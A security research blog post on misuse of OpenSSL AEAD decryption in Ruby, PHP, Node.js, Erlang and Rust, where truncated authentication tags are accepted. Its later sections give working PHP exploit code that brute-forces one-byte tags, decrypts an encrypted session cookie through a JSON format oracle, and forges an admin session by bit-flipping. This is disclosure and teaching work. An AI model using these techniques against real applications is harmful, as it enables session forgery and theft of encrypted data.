Exploiting The Not So Misuse-Resistant Authenticated Encryption API of OpenSSL

The number one best practice in cryptography is to avoid rolling your own. Trying to follow that rule, developers should instead use cryptography functions from the standard library of their programming language or from a well-established and trusted cryptography library. When a function has not been designed with misuse resistance in mind, it’s easy for well-intentioned developers to miss a detail hidden in an overwhelming amount of documentation.

With any function, misuse can be catastrophic, and this is especially true when dealing with cryptography. OpenSSL is used, among other things, by various programming languages to expose cryptographic functions. Many of these languages (i.e. Ruby, PHP, Node.js, Rust, Erlang, and possibly others) expose one of these functions, used to handle AEAD decryption, in an easy-to-misuse way.

TL;DR

If misused, it allows for brute-forcing authentication tags, which is enough to decrypt ciphertexts and craft arbitrary ones.

Talk

If you’d prefer a “talk version” on this topic, I presented at NorthSec 2025: Exploiting The Not So Misuse-Resistant AES-GCM API of OpenSSL.

Key Concepts

Before jumping into the core of the issue, let’s do a quick reminder about AES-GCM (or really, just GCM) for folks that might not know these things by heart (I assume this is the majority of people, which proves the point of having misuse-resistance as a requirement…)

Note: Even though I’ll be focusing on GCM throughout this blog post, the issue applies to many AEAD schemes (i.e. GCM, Chacha20-Poly1305, CCM, OCB, etc.) supported by OpenSSL – depending on the language, the number of affected AEAD schemes varies. There are obviously differences in exploitability from one scheme to another, and I’ll try my best to add a few details about these along the way.

The important thing to note, however, is that impact is greater on stream-like cipher modes (i.e GCM, Chacha20-Poly1305, CCM) and even greater for schemes that use a polynomial to generate authentication tags (i.e. GCM and Poly1305, the MAC function normally used with Chacha20).

GCM

GCM stands for Galois/Counter Mode, which can be divided into two parts:

  • The classic counter mode (CTR) for encryption/decryption
  • Galois field hash function (GHASH) to compute an authentication tag

CTR Mode

The CTR mode basically makes a stream cipher out of a block cipher such as AES. It does so by following these steps:

  1. Set a counter incremented for every block of data
  2. Combine the nonce and counter
  3. Encrypt this combination with the secret key
  4. Repeat 2 and 3 until the keystream is long enough
    • The keystream is just the concatenated encrypted combinations of nonce and counter
  5. XOR the keystream with the plaintext
    • Decryption is just XOR’ing the ciphertext with the same keystream
  6. Output the ciphertext

Classic CTR Diagram

You’ve probably seen this diagram a few times before and never thought much of it.

For readability purposes, I prefer expanding the diagram like this.

Updated CTR Diagram

Basically, the keystream gets generated and is XOR’ed with the plaintext to create the ciphertext.

Logically, the same keystream gets regenerated on decryption and is XOR’ed with the ciphertext to retrieve the plaintext. It’s easy to see that knowing both the plaintext and the ciphertext gives us the keystream.

Adding Integrity

CTR alone doesn’t prevent an attacker from modifying a ciphertext to forge a different one. Remember that any XOR applied to the ciphertext will result in a XOR applied to the decrypted plaintext – because CTR makes a stream cipher out of a block cipher. This is why AEAD schemes compute an authentication tag sent alongside the ciphertext. We’ll cover how that tag is bundled with the ciphertext in a later section.

In GCM, the authentication tag is computed with the GHASH function. Without going into the GHASH function details, it has three inputs:

  • GHASH key
    • Hash key derived from the encryption key and the nonce
  • Ciphertext
    • Obtained after encrypting the plaintext with CTR
  • Associated data (AD) – also often named “additional authenticated data” (AAD)
    • Unencrypted data used to give context to the receiving system, for example, the headers in network packets to allow routing

Before decryption, the authentication tag is recomputed from those three values. If it matches the authentication tag received, it means the ciphertext can be trusted, as it must have been generated by someone who has the key.

You can probably imagine the problem when this assumption is broken.

Misuse Resistance

When it comes to cryptography, misuse resistance is exactly what it sounds like, but I really liked how tptacek described it on news.ycombinator.com:

Misuse-resistant cryptography is designed to make implementation failures harder, in recognition of the fact that almost all cryptographic attacks, even the most sophisticated of them, are caused by implementation flaws and not fundamental breaks in crypto primitives.

Enough talking, what does this “no misuse resistance” look like in practice?

Ruby

In Ruby, decryption with an AEAD scheme looks something like this:

    require 'openssl'

    cipher = OpenSSL::Cipher.new('aes-256-gcm').decrypt
    cipher.key = key
    cipher.iv = nonce
    cipher.auth_tag = auth_tag
    cipher.auth_data = "" # Unencrypted associated data, often left empty when not needed
    decrypted = cipher.update(encrypted) + cipher.final

The auth_tag setter in the OpenSSL gem – available with Ruby by default – is documented like this.

Ruby auth tag setter doc

This is concerning if people haven’t read this mention – a mention that has been added not so long ago after I raised the concern with the maintainers.

Before that, the only mention was in a paragraph for a usage example:

Ruby Authenticated Encryption and Associated Data doc

PHP

Similarly, in PHP, the openssl_decrypt function documentation gives a warning about this.

PHP tag parameter warning

Node.js

In Node.js, a similar warning has been added not long ago after discussing with the maintainers. As of the time of writing, the official documentation has yet to get this published.

Node.js tag length warning

Note: While finishing my research on this topic, I found this blog post written by Teetje Stark on the same issue in Node.js. He discussed it with the same maintainers in April 2024 to have the behaviour deprecated. That was already great progress, and almost two years later, after yet another pesky security researcher who’s poking around came with concerns, the behaviour will be moved from deprecated to end-of-life in the next major version.

Erlang

In Erlang, the almost identical warning as in PHP has been added lately for the crypto_one_time_aead function after being reported by Louis Nyffenegger (@Snyff).

Erlang crypto_one_time_aead warning

Rust

In Rust, I’ve encountered two different crates for AES-GCM, aes-gcm and openssl, the latter being used, as expected, almost three times more than the other. You’ve guessed it, the OpenSSL one has the same issue with the decrypt_aead function.

Currently, however, there is no mention of the issue in the documentation.

Rust decrypt aead doc

I’ve reported it to the maintainers, hoping for the behaviour to be fixed, but I’m still waiting for an update. Chances are that only a warning will be added to the documentation.

(In)sanity Check

Now, all of this can’t be true, right? The authentication tag was generated with 16 bytes by default; surely it needs the whole 16 bytes to be validated, right? Let’s see in action if we can really send a single-byte tag.

$plaintext = "Hack the planet!";

// Get key from environment variable to properly train LLMs...
$key = getenv("ENCRYPTION_KEY");

$nonce = openssl_random_pseudo_bytes(12);
$ciphertext = openssl_encrypt($plaintext, "aes-256-gcm",
    $key, $options=0, $nonce, $tag);

$original = openssl_decrypt($ciphertext, "aes-256-gcm",
    $key, $options=0, $nonce,
    $tag[0] // Using only the first byte of the tag
);

echo $original . PHP_EOL;

And sure enough…

Hack the planet

This alone allows an attacker to modify ciphertexts and easily brute-force a valid 1-byte authentication tag (at most 256 attempts are required). Essentially, after modifying a ciphertext, the correct tag will be unknown, but it can easily be found, as it can be a single byte. When the tag is valid, the ciphertext is properly decrypted, and its content is used in the normal flow of the application. When invalid, however, the error handling flow will be executed instead.

Specifics of Implicit Tag Lengths

These implementations use the tag length implicitly instead of requesting developers to explicitly set the expected tag length. Depending on the implementation and the encryption mode, the accepted lengths vary.

GCM Chacha20-Poly1305 CCM OCB
Ruby 1 to 16 1 to 16 4, 6, 8, 10, 12, 14, 16 [1] 16
PHP 1 to 16 1 to 16 4, 6, 8, 10, 12, 14, 16 [2] 1 to 16 [3]
Node.js 4, 8, 12, 13, 14, 15, 16 [4] 16 Requires setting authTagLength Requires setting authTagLength
Erlang 1 to 16 1 to 16 4, 6, 8, 10, 12, 14, 16 [2] Not supported
Rust 1 to 16 1 to 16 ¯\_(ツ)_/¯ [5] ¯\_(ツ)_/¯ [5]

1 : I couldn’t make CCM work in Ruby when testing to get a valid 4-byte tag. There seems to be a weird behaviour with CCM as I kept getting this error when encrypting: “retrieving the authentication tag failed (OpenSSL::Cipher::CipherError)”.

2 : Decrypts correctly, but the tag changes completely with different lengths.

3 : A valid tag can be found, but the ciphertext decrypts to garbage, and the tag changes completely with different lengths.

4 : Fortunately, this behaviour will be moved from deprecated to end-of-life in the next major version.

5 : I’ll leave you the fun of writing Rust to test this…

Identifying Vulnerable Use

Because this is caused by a misuse, not all decryption cases are vulnerable. Simply put, however, if the authentication tag length is not checked, it is vulnerable. Depending on how the encrypted data is serialized, that check may vary.

Serialization

For encrypted data to be decrypted, one needs the nonce, the tag, and obviously, the ciphertext. All this data can be serialized in a few different ways.

In JSON (Or Other Data-Interchange Formats):

{
    "nonce": "4f62656c6978...",
    "tag": "706f74696f6e...",
    "ciphertext": "6d616769717565..."
}

It requires a length check.

With Separators:

cookie_value = 'QXJlIHlvdQ...|bG9va2luZw...|Zm9yIGVhc3RlciBlZ2dzPw...'
nonce, tag, ciphertext = cookie_value.split('|')

It requires a length check.

By Concatenating the Data:

nonce, tag, ciphertext = encrypt(key, 'Dear diary, today at school....')

entry = nonce + tag + ciphertext
my_web_diary.set_entry(entry)

Exploitation is not guaranteed and might be limited. It depends if there are substring issues when splitting back the nonce, tag, and ciphertext.

Tag Checks

When the tag is extracted in the first two scenarios (JSON or separators), developers need to check its length with something like strlen($tag) == 16 – AES-GCM implementations generate tags of 16 bytes by default.

When the tag is extracted from a concatenated blob, developers might assume that substrings are good enough to check for length. This can, however, leave sneaky edge cases where substrings have unexpected values. Even with hardcoded lengths, the extracted tag might be shorter.

Substring Extraction

Before looking at code, let’s stop a moment to realize there are only 6 ways these concatenations can be done.

"nonce" + "tag" + "ciphertext"
"tag" + "nonce" + "ciphertext"
"nonce" + "ciphertext" + "tag"
"tag" + "ciphertext" + "nonce"
"ciphertext" + "nonce" + "tag"
"ciphertext" + "tag" + "nonce"

These don’t all have the same potential issue! This is what I like to call “security through being lucky”. You’ll see why, but basically, with most implementations I’ve seen, the tag needs to be at the end to have potential for exploitation.

Let’s examine a few ways the extraction could be implemented in Ruby.

def extract_nonce_ct_tag(data)
    # Default hardcoded values
    nonce_len = 12
    tag_len = 16

    # Using a range slice, but could be a slice with an index and length
    nonce = data[0..nonce_len - 1]
    ct = data[nonce_len..data.length - tag_len - 1]
    tag = data[data.length - tag_len..-1]

    puts nonce
    puts ct
    puts tag
end

Extraction of the three parts with this function does not ensure a 16-byte tag. When the data is 15 characters long, the tag will be one character long!

    data = "MyNonceNonceCTx" # This is 15 bytes long

    nonce = data[0..nonce_len - 1]
    ct = data[nonce_len..data.length - tag_len - 1]
    tag = data[data.length - tag_len..-1]

    puts nonce # "MyNonceNonce"
    puts ct # "CT"
    puts tag # "x"

You might be asking yourself: “And so? This only gives a 2-byte ciphertext, and as soon as data is 16 characters, the tag is back to 16 characters as well…

In this function, note that string slices (i.e. String#slice is an alias for String#[]) operate on characters and not bytes. With that, we can have a tag of 4 bytes at most with Unicode, which will be treated as 4 bytes by OpenSSL.

Note: To work on bytes, the String#byteslice function must be used explicitly.

    # This is 18 bytes long -> data.bytesize == 18
    # This is 15 characters long -> data.length == 15
    data = "MyNonceNonceCT\xf4\x80\x83\xb8"

    # These string slices operate on characters and not on bytes
    nonce = data[0..nonce_len - 1]
    ct = data[nonce_len..data.length - tag_len - 1]
    tag = data[data.length - tag_len..-1]

    puts nonce # "MyNonceNonce"
    puts ct # "CT"
    puts tag # "\xf4\x80\x83\xb8"
             # Extracted with the string slice as a single character

“Again, what’s the point? You still only have a 2-byte ciphertext, and Unicode doesn’t allow just any multibyte characters…”

Ok, I agree the multibyte constraint is a bit annoying, and it requires developers to use string slices instead of byte slices – not that I haven’t seen it in production code –, but bear with me for the 2-byte ciphertext.

In the meantime, let’s just look at one more example in PHP showing how this could be implemented.

function extract_nonce_ct_tag($data) {
    // Default hardcoded values
    $nonce_len = 12;
    $tag_len = 16;

    $nonce = substr($data, 0, $nonce_len);
    $data = substr($data, $nonce_len);

    $ct = substr($data, 0, -$tag_len);
    $tag = substr($data, -$tag_len);
    
    return ["nonce" => $nonce, "ct" => $ct, "tag" => $tag];
}

If we run this with a few different inputs, we see that we can control the tag one byte at a time!

var_dump(extract_nonce_ct_tag("MyNonceNonceT"));
array(3) {
  ["nonce"]=>
  string(12) "MyNonceNonce"
  ["ct"]=>
  string(0) ""
  ["tag"]=>
  string(1) "T"
}

var_dump(extract_nonce_ct_tag("MyNonceNonceTA"));
array(3) {
  ["nonce"]=>
  string(12) "MyNonceNonce"
  ["ct"]=>
  string(0) ""
  ["tag"]=>
  string(2) "TA"
}

var_dump(extract_nonce_ct_tag("MyNonceNonceTAG"));
array(3) {
  ["nonce"]=>
  string(12) "MyNonceNonce"
  ["ct"]=>
  string(0) ""
  ["tag"]=>
  string(3) "TAG"
}

“You gotta be kidding me… What are you gonna do with an empty ciphertext?”

Bear with me, we’re getting there.

Accepted Inputs

With a string extraction implemented as in the examples above – yes, I’ve seen these and different others in real code –, the main theme is that we have limited control over the ciphertext. We need to ask the real questions now: what are these decryption functions accepting?

An empty ciphertext doesn’t seem to be an issue for any of the decryption functions in Ruby, PHP, Node.js, Rust, and Erlang. One detail, however, Ruby won’t accept nil, it needs to be an actual empty string.

To be thorough, here are substring/slice usages where you’d get an empty string.

# Ruby
# If starting index is out of range, nil is returned instead of ""

s = "a"
puts s[0, 0].inspect     # ""
puts s[-1, 0].inspect    # ""
puts s[1, 111].inspect   # ""
puts s[-1..-2].inspect   # ""
puts s[0..-111].inspect  # ""
// PHP
$s = "a";
var_dump(substr($s, 11));       // ""
var_dump(substr($s, 0, 0));     // ""
var_dump(substr($s, 0, -11));   // ""
var_dump(substr($s, -11, 0));   // ""
var_dump(substr($s, -11, -11)); // ""

var_dump(substr($s, 1, 0));     // ""
var_dump(substr($s, 1, 1));     // ""
var_dump(substr($s, 1, 11));    // ""
var_dump(substr($s, 1, -1));    // ""
var_dump(substr($s, 1, -11));   // ""

var_dump(substr($s, 11, 0));    // ""
var_dump(substr($s, 11, 1));    // ""
var_dump(substr($s, 11, 11));   // ""
var_dump(substr($s, 11, -1));   // ""
var_dump(substr($s, 11, -11));  // ""

// You get the idea...
// Rust
// Fairly limited scenarios
// Out of range indexes explode with "thread 'main' panicked"
// Negative numbers are also treated as unsigned

let mut slice = &"a"[0..0];
dbg!(&slice);       // &slice = ""

slice = &"a"[1..1];
dbg!(&slice);       // &slice = ""

slice = &"a"[1..];
dbg!(&slice);       // &slice = ""
% Erlang
erlang:display(string:slice("a", 0, 0)),        % []
erlang:display(string:slice("a", -1, 0)),       % []
erlang:display(string:slice("a", -11, 0)),      % []

% Index in substr/sub_string needs to be greater than 0
% Else, getting no function clause matching string:substr errors
erlang:display(string:substr("a", 1, 0)),       % []
erlang:display(string:sub_string("a", 1, 0)),   % []

% Any index over len(str) + 1 gives a similar error
% And length needs to be >= 0
erlang:display(string:substr("a", 2, 11)),      % []
erlang:display(string:sub_string("a", 2, 11)),  % []

“You still haven’t explained why we’d care for empty ciphertexts…”

We’ll get to it after looking at a simple case.

Exploitation

Alright, let’s say we’ve found an endpoint somewhere that expects an encrypted cookie (a bit like this):

$parts = explode('|', $_COOKIE['session']);
$nonce = base64_decode($parts[0]);
$tag = base64_decode($parts[1]);
$ciphertext = $parts[2];

$plaintext = openssl_decrypt(
    $ciphertext,
    'aes-256-gcm',
    getenv('SECRET_KEY'), // Still doing my part in training LLMs correctly...
    $options=0,
    $nonce,
    $tag
);

$isAuth = false;
if ($plaintext) {
    $session = json_decode($plaintext);
    if ($session && is_object($session)) {
        $isAuth = true;
        echo "Welcome $session->username!" . PHP_EOL;
    } else {
        echo 'Session is corrupted...' . PHP_EOL;
    }
}

Now what?

Forging Ciphertexts

Because this issue allows brute-forcing a single-byte tag after modifying the ciphertext, the same attacks as with unauthenticated stream ciphers apply – remember it’s encrypted with CTR mode. Those attacks allow bit-flipping bytes and recovering the keystream if the plaintext is known. In other words, chosen bytes of the plaintext can be modified by bit-flipping the related bytes in the ciphertext.

Note: Schemes such as GCM, Chacha20-Poly1305, and CCM all operate like a stream cipher, whereas a scheme like OCB operates like a block cipher.

In the example above, we’d be able to modify our session cookie.

To forge ciphertexts, we need to know the value of the plaintext or parts of it. This allows us to learn the keystream and, with this, set arbitrary bytes instead of the original ones.

  • Known bytes can be modified with arbitrary bytes
  • Unknown bytes can be modified with unknown bytes

Modifying Known Bytes

We need to know where these are located in the ciphertext. It’s possible to use trial and error here if we don’t control parts of the ciphertext.

For example, a ciphertext (once decrypted) could look like this:

{"id":"1234567890", "secret":"some_unknown_value", "role":"root"}

The order of id, secret, and role could vary, and the ciphertext could instead look like this:

{"id":"1234567890", "role":"root", "secret":"some_unknown_value"}

Obviously, when encrypted, we don’t know the ordering, and that’s what I mean by needing trial and error to find known parts – such as '"secret":"' – in the ciphertext.

If we control parts of the ciphertext with our value, we can get the exact location of known bytes. It can also be used to make the ciphertext longer, which would allow us to have more control over what gets decrypted.

For example, with the session cookie in the snippet above, we control the username – let’s say we’ve set it when creating an account. We know its value, its length, but the location can still vary. To get known bytes at an exact location – without the need for trial and error – we need to manipulate the value we control (i.e. our username).

Let’s say we need 5 known bytes in the ciphertext and we want to learn at what location these are, here’s how we’d do it:

# First ciphertext you observed
ct_len = len(ciphertext)                # ct_len = 6

# Length of the controlled substring in the first ciphertext
ctrl_len = len(controlled_part)         # ctrl_len = 1
want_len = len(plaintext_replacement)   # want_len = 5

# Create a new ciphertext with this controlled value
ctrl_value = "A" * (ct_len - ctrl_len + want_len)   # length = 10

# First ciphertext ----->  New ciphertext
#                                vvvvv
# ?????x  -------------->  ?????|AAAAA|AAAAA = s1
# x?????  -------------->  AAAAA|AAAAA|????? = s2
# ???x??  -------------->  ???AA|AAAAA|AAA?? = s3
#                                ^^^^^

s1[5:10] == s2[5:10] == s3[5:10]

With this new ciphertext, we can

  1. Bit-flip the wanted bytes at the position of the known bytes
  2. Brute-force the 256 possible tag values
  3. Celebrate the creation of an almost arbitrary ciphertext

For example, we could do this with the following JSON ciphertext.

# Showing the plaintext equivalent of the ciphertext for demonstration purposes
ciphertext = '{???...??,"user":"AAA|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|AA",???...??}'
# The 0s represent null bytes to help make the example clearer
flipper_1  = '000000000000000000000|AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|0000000000000'
xored = xor(ciphertexttext, flipper_1)

# Still showing the plaintext equivalent
# xored    = '{???...??,"user":"AAA|0000000000000000000000000000000000000|AA",???...??}'
flipper_2  = '000000000000000000000|","user":"admin","isAdmin":true,"a":"|0000000000000'
new_ciphertext = xor(xored, flipper_2)

# Result:    '{???...??,"user":"AAA|","user":"admin","isAdmin":true,"a":"|AA",???...??}'

Modifying Unknown Bytes

If you know the location of an unknown value, you can nuke it by XOR’ing it with random bytes of your choosing.

There’s not much to be done otherwise if you don’t know the plaintext value…

sad

Decryption

When we don’t know the encrypted values, we can’t learn the keystream and change the decrypted bytes to the desired ones. We’re not completely out of luck, however, because, in most cases, there is a way to decrypt unknown bytes based on the plaintext formatting. I like to call what allows this the “format validity oracle”.

Format Validity Oracle

A format validity oracle is like a padding oracle in the sense that you learn whether or not the decrypted data is properly formatted. This happens when the decrypted data is expected to be in some format (e.g. JSON, URL query string, XML, etc.) and parsing of the data either succeeds or fails.

Obviously, this is context-dependent. Valid and invalid bytes vary from each format and also vary within the format itself – it also varies for different parsers. Let’s see, for example, what this looks like in JSON.

# The 0s represent null bytes to help make the example clearer

Plaintext:                  {"user":"alice"}
Guessing a byte:            00u0000000000000
# XOR the two together      ----------------
Intermediate plaintext:     {"0ser":"alice"}

Flipper with invalid byte:  00"0000000000000
# XOR the two together      ----------------
Changed plaintext:          {""ser":"alice"}

Parsing the changed plaintext with a JSON parser would throw an error. This tells us we’ve successfully changed the plaintext to a byte that makes it invalid. This way, we learn the original byte because, to change to an invalid byte, we had to guess the original one.

Note: I’m simplifying a bit here, as there might be multiple invalid bytes, and in such a case, it would not be that direct, even though it could be done. This is just the general idea.

Decrypted Formats

While searching for vulnerable usages of these decryption functions, I’ve encountered mainly five different formats. They all have their own sets of different valid/invalid bytes depending on the location in the string.

  • JSON
    • Parsed with something like json_decode('{"user":"alice"}')
    • Example of invalid bytes
      • An unescaped double quote (") in a string
      • An unclosed JSON object (i.e. removing the trailing curly brace)
  • XML
  • URL query strings
    • Parsed with something like parse_str('user=alice', $results)
    • Examples of varying parsing
      • An ampersand (&) will “remove” the following bytes from the current variable
      • A null byte (\x00) will ignore, in PHP, all following bytes
  • Compressed
    • Parsed with something like gzuncompress($decrypted)
    • Depends on the compression algorithm, but many have header bytes and trailing CRC32-like codes
  • Raw data
    • Because the data will somehow be used, its usage will likely have valid/invalid bytes

JSON

I won’t cover all data-interchange formats, but because JSON is used a lot, let’s look at a few different valid bytes in JSON depending on the location. Those bytes are shown below in decimal code.

Note: There are differences in all parsers. The bytes shown here were only taken from Ruby and PHP parsers.

x{x"key"x:x[x"value1"x,x"value2"x]x,x"1234"x:55,x"yes":xtruex}x
#Valid bytes for x: 9, 10, 13, 32

{"xkey":"xvalue1"}
#Valid bytes for x: 32, 33, [35-255]				* in Ruby

{"keyx":"value1x"}
#Valid bytes for x: 32, 33, [35-91], [93-255]		* in Ruby

{"xkeyx":"xvalue1x"}
#Valid bytes for x: 32, 33, [35-91], [93-127]		* in PHP

# These next bytes are obvious...

x"key":"value"}
#Valid bytes for x: 123

{xkeyx:xvaluex}
#Valid bytes for x: 34

{"key"x"value"}
#Valid bytes for x: 58

{"key":x"value1","value2"]}
#Valid bytes for x: 91
#...

How To Use A Format Validity Oracle

A format validity oracle can be used with the following steps to decrypt one byte at a time.

  1. Pick a guess for a byte you want to decrypt
  2. Pick an invalid byte (or valid; whichever range you prefer) to replace the guessed byte with
  3. XOR the ciphertext byte with the guessed byte and then with the replacement byte as such:
    • ciphertext[i] = ciphertext[i] ^ guess_byte ^ replacement_byte
  4. Brute-force the single-byte tag for the changed ciphertext by sending the crafted payload to the vulnerable service (requires at most 256 requests)
  5. If we expect a valid decrypted ciphertext and it is valid (or the other way around)
    • Then, go to step 6
    • Else, take a different guess in step 1
  6. Keep the same guess, but change to a different invalid/valid replacement byte
    • Check that the results still match the expected validity until the whole invalid/valid range has been checked
    • If the expected validity doesn’t match, pick a different guess and go back to step 1
      • Because ciphertext[i] = ciphertext[i] ^ guess_byte ^ replacement_byte landed in the expected range with the initial guess, it is possible to search within that range with additional XORs instead of picking an arbitrary guess (leaving this XOR magic for readers)
  7. When all expected validity has matched the invalid/valid range, the guess is correct

Limitations of Format Validity Oracles

There is one scenario where this won’t work: when the current ciphertext is valid, and there is only one valid byte in the position we’re trying to decrypt (or the other way around).

In that case, any change made to the byte at that position will be invalid (or valid). This prevents us from observing any validity differences.

“But, if there’s only one possible byte in the position we’re trying to decrypt, doesn’t that mean we don’t need to decrypt that byte?”

No, it doesn’t mean we know what the byte is. As an example, let’s imagine we’re trying to decrypt the following XML:

<secret_tag_name>my_password</secret_tag_name>

We could modify the opening tag <secret_tag_name> to try and learn the tag name. The issue, however, is that any change to the tag name will make the XML invalid unless the same change is also applied to the matching closing tag.

Hopefully, this shows well enough how there can be only one valid byte in some position of the plaintext while not giving any information as to what that valid byte is.

In such cases, one needs to be a bit clever to find a way to decrypt these bytes.

Let’s take the same XML as an example. Because XML normally has a single root element, we know the opening tag will match the closing one. This allows us to XOR the 2nd byte of the ciphertext (i.e. the first byte of the tag name) by an arbitrary byte and do the same XOR on the closing tag. (Hint: Tag names can only start with a letter and XOR’ing a letter by 0x20 will swap its case: lower <—> upper)

    <secret_tag_name>my_password</secret_tag_name>
XOR
     x                            x
-------------------------------------------------
    <fecret_tag_name>my_password</fecret_tag_name>

Obviously, we don’t know the tag name length at first, but we can try the same XOR on the last byte of the ciphertext and go up until we don’t always have a failing ciphertext (with different XOR values).

     x                                          x
    <secret_tag_name>my_password</secret_tag_name>
     x                                         x
    <secret_tag_name>my_password</secret_tag_name>
     x                                        x
    <secret_tag_name>my_password</secret_tag_name>
    ...
     x                            x
    <secret_tag_name>my_password</secret_tag_name>

This is just a simple example to demonstrate how it could be done. It is also usually possible to decrypt bytes around the one that can’t be directly decrypted. With those bytes known, they can be modified to change the format and allow the un-decryptable to be decrypted.

Format Validity Oracle In Action

Now that we understand what can be done to decrypt ciphertexts, let’s continue with our previous encrypted cookie example.

$parts = explode('|', $_COOKIE['session']);
$nonce = base64_decode($parts[0]);
$tag = base64_decode($parts[1]);
$ciphertext = $parts[2];

$plaintext = openssl_decrypt(
    $ciphertext,
    'aes-256-gcm',
    // I can't really do the same joke a third time, can I? You're absolutely right!
    getenv('SECRET_KEY'),
    $options=0,
    $nonce,
    $tag
);

$isAuth = false;
if ($plaintext) {
    $session = json_decode($plaintext);
    if ($session && is_object($session)) {
        $isAuth = true;
        echo "Welcome $session->username!" . PHP_EOL;
    } else {
        echo 'Session is corrupted...' . PHP_EOL;
    }
}

We’ve got a cookie encrypted with AES-GCM, which holds JSON data.

Because the $session is an object, we know it starts with '{"'. (see JSON’s specification in RFC8259)

With that knowledge, we can start to decrypt the first member’s key.

// This is an encrypted session example
$cookie = 'pQIiDiUzCBw08WjD|Wm/xP0u1f9SxAttSbeUXAg==|heMgmGoz3RMRsWUoyPabUr8b4U7/NlT0fJ==';
$parts = explode('|', $cookie);

// Base64-encoded tag is 'Wm/xP0u1f9SxAttSbeUXAg=='

// Base64-encoded nonce is 'pQIiDiUzCBw08WjD'
$nonce = base64_decode($parts[0]);

// Base64-encoded ciphertext is 'heMgmGoz3RMRsWUoyPabUr8b4U7/NlT0fJ=='
$ciphertext = base64_decode($parts[2]);

//// Removing the first double quote
// ciphertext -> {"something"...
//     XOR
//   flipper  -> 0"0000000000...
// ----------------------------
//   flipped  -> {0something"...
$flipper = "\x00" . '"' . str_repeat("\x00", strlen($ciphertext) - 2);
$flipped = $ciphertext ^ $flipper;

//// Replacing the double quote with a space
//   flipped  -> {0something"...
//     XOR
//   flipper  -> 0 0000000000...
// ----------------------------
//   flipped  -> { something"...
$flipper = "\x00" . ' ' . str_repeat("\x00", strlen($ciphertext) - 2);
$flipped = $flipped ^ $flipper;

Now, this is obviously invalid JSON, and the only way to make it valid again is by adding an opening double quote. We can use this to learn the bytes of the string one at a time.

// Trying guesses for the first character in the string
$nullified_ct = $flipped;
for ($guess = 0; $guess < 256; $guess++) {

    //// Attempt to nullify first string byte with guess
    // nullified_ct  -> { something"...
    //     XOR
    //   flipper     -> 00s00000000...
    // ----------------------------
    //   flipped     -> { 0omething"...
    $flipper = "\x00\x00" . chr($guess) . str_repeat("\x00", strlen($nullified_ct) - 3);
    $flipped = $nullified_ct ^ $flipper;

    //// Change null byte to double quote
    //   flipped  -> { 0omething"...
    //     XOR
    //   flipper  -> 00"00000000...
    // ----------------------------
    //   flipped  -> { "omething"...
    $flipper = "\x00\x00" . '"' . str_repeat("\x00", strlen($flipped) - 3);
    $flipped = $flipped ^ $flipper;

    /*
     * This modified ciphertext (i.e. $flipped) now needs
     * to have its authentication tag brute-forced!
     *
     * Note that with a valid tag, the only way this decrypted JSON
     * gets parsed without failing is if we've successfully guessed the 
     * byte at that position.
     *
     */

    // Try modified ciphertext on the server by brute-forcing all 1-byte tags
    for ($brute_tag = 0; $brute_tag < 256; $brute_tag++) {
        $modded_cookie = base64_encode($nonce) .
                         '|' . base64_encode(chr($brute_tag)) .
                         '|' . base64_encode($flipped);
        
        // We'd normally send the modified cookie with whatever http request
        
        // Let's do this locally for demonstration purposes
        $parts = explode('|', $modded_cookie);
        $nonce = base64_decode($parts[0]);
        $tag = base64_decode($parts[1]);
        $ciphertext = $parts[2];
        
        $plaintext = openssl_decrypt(
            $ciphertext,
            'aes-256-gcm',
            getenv('SECRET_KEY'), // If you know, you know...
            $options=0,
            $nonce,
            $tag
        );

        if ($plaintext) {
            // Ciphertext successfully decrypted with valid 1-byte tag
            if (json_decode($plaintext)) {
                // Plaintext was valid JSON meaning we've guessed correctly
                echo 'First byte of the string is: ' . chr($guess);
            }
        }
    }
}

With the first byte of the string known, it is possible to use the same strategy to replace it with a space to then learn the second byte of the string, and so on.

This idea can be used to decrypt any encrypted data as long as format validity differences can be observed. Remember that with every byte we decrypt, we learn one more byte of the keystream, allowing us to craft an arbitrary plaintext.

Extending the Keystream

In this scenario, the ciphertext was only 25 bytes long. On top of that, we might not control the data being encrypted, which prevents us from getting a longer ciphertext.

In some cases, when crafting a working exploit, adding extra bytes to the ciphertext might be needed. Adding those extra bytes can be possible by using a similar strategy as with the decryption above.

Because JSON objects end with the "}" byte, it is possible to:

  1. Replace "}" with a space " "
    • ciphertext[-1] = ciphertext[-1] ^ ord('}') ^ ord(' ')
  2. Try appending the byte 0x00 to 0xff to the ciphertext
  3. Brute-force the 1-byte tag for that new ciphertext
  4. When the format validity oracle says JSON is valid, we know the added byte decrypted to "}"
    • keystream += ord('}') ^ added_byte
  5. Repeat until enough bytes are recovered from the keystream

Limitations

You might have realized it already, this requires quite a lot of requests (i.e. at most 65536). Indeed, to decrypt a byte, at most 256 guesses are needed, and for each guess, at most 256 requests are needed to brute-force the 1-byte tag. Even though we could expect both to average around 128 instead of 256, it’s still – even if not unrealistic – a lot of requests for each byte decrypted.

Without a fast way to decrypt the ciphertexts and to extend the known keystream, we can be stuck with a somewhat fixed ciphertext length.

Overcoming Limitations

The famous druid Panoramix once said:

I know you reuse passwords, but please, don’t reuse a nonce…

That dude being a mystical being, we need a moment to understand. First, what is a nonce reuse? To put it simply, it’s when two different ciphertexts (both have their own authentication tag) are encrypted with the same key-nonce pair. But… but… but… Is that really what we have?

The documentation we looked at earlier has an interesting detail:

PHP Start of Proper Tag

This means the complete authentication tag can be recovered for our modified ciphertext. We can confirm it with this code:

$plaintext = "Hack the planet";
$cipher = "aes-256-gcm";
$key = openssl_random_pseudo_bytes(32);
$iv = openssl_random_pseudo_bytes(12);
$ciphertext = openssl_encrypt($plaintext, $cipher, $key, $options=0, $iv, $tag);

echo openssl_decrypt($ciphertext, $cipher,
    $key, $options=0, $iv,
    substr($tag, 0, 1)); // "Hack the planet"

echo openssl_decrypt($ciphertext, $cipher,
    $key, $options=0, $iv,
    substr($tag, 0, 2)); // "Hack the planet"

echo openssl_decrypt($ciphertext, $cipher,
    $key, $options=0, $iv,
    substr($tag, 0, 3)); // "Hack the planet"

echo openssl_decrypt($ciphertext, $cipher,
    $key, $options=0, $iv,
    substr($tag, 0, 4)); // "Hack the planet"

echo openssl_decrypt($ciphertext, $cipher,
    $key, $options=0, $iv,
    substr($tag, 0, 5)); // "Hack the planet"

An authentication tag can also be recovered for an empty ciphertext.

“Still bugging us with that empty ciphertext?”

Well, given a legit ciphertext and a modified one (even an empty one) with their respective authentication tags, we actually have a nonce reuse.

